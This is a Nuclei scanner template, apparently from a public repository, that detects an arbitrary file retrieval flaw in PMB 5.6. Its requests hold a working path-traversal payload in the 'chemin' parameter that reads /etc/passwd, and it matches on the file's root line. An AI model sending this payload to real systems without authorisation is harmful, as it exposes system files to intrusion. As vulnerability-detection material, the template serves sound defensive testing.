nuclei-templates/vulnerabilities/other/pmb-directory-traversal.yaml

28 lines
791 B
YAML
Raw Normal View History

2021-08-16 10:44:02 +00:00
id: pmb-directory-traversal
info:
name: PMB 5.6 - Arbitrary File Retrieval
2021-08-16 10:44:02 +00:00
author: geeknik
severity: medium
description: The PMB Gif Image is not sanitizing the content of the 'chemin' parameter, wchi can be used for local file retrieval.
reference:
- https://packetstormsecurity.com/files/160072/PMB-5.6-Local-File-Disclosure-Directory-Traversal.html
2021-08-16 11:13:47 +00:00
tags: lfi
2021-08-16 10:44:02 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
- "{{BaseURL}}/pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik"
2021-10-08 13:40:03 +00:00
2021-10-08 06:33:40 +00:00
stop-at-first-match: true
2021-08-16 10:44:02 +00:00
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-08-16 11:13:47 +00:00
2021-08-16 10:44:02 +00:00
- type: status
status:
- 200